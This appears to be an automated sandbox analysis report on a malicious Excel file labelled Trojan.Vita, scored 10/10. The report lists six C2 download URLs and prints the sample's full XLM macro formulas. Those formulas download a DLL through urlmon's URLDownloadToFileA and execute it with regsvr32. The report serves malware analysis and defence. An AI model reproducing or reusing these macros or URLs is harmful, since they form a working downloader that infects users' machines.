SecuriteInfo.com.Trojan.Vita.6.24691.216
- SHA256 fd0dfb80a1cb4bbdef0cf9b9a2503563ed8679d88a305b246dce39b58a105bf7
-
Suspicious Office macro
Office document equipped with 4.0 macros.
General
- Target SecuriteInfo.com.Trojan.Vita.6.24691.216
- Size 50KB
- Sample220331-c3kmtshbdm
- SHA256 fd0dfb80a1cb4bbdef0cf9b9a2503563ed8679d88a305b246dce39b58a105bf7
Score
10/10
Malware Config
Extracted
Rule
Excel 4.0 XLM Macro
C2
-
http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/
-
http://hoatuoiso1.com/replace/fVea/
-
https://rumkeke.com/wp-admin/A8/
-
https://www.restaurantgaig.com/wp-includes/HLDoANj/
-
http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/
-
http://www.hiway91.com/wp-content/Y/
Attributes
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/","..\rulm.dll",0,0) =IF('EGSBBB'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hoatuoiso1.com/replace/fVea/","..\rulm.dll",0,0)) =IF('EGSBBB'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rumkeke.com/wp-admin/A8/","..\rulm.dll",0,0)) =IF('EGSBBB'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.restaurantgaig.com/wp-includes/HLDoANj/","..\rulm.dll",0,0)) =IF('EGSBBB'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/","..\rulm.dll",0,0)) =IF('EGSBBB'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.hiway91.com/wp-content/Y/","..\rulm.dll",0,0)) =IF('EGSBBB'!D22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rulm.dll") =RETURN()
Signatures
- Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
File Explorer
-
SecuriteInfo.com.Trojan.Vita.6.24691.216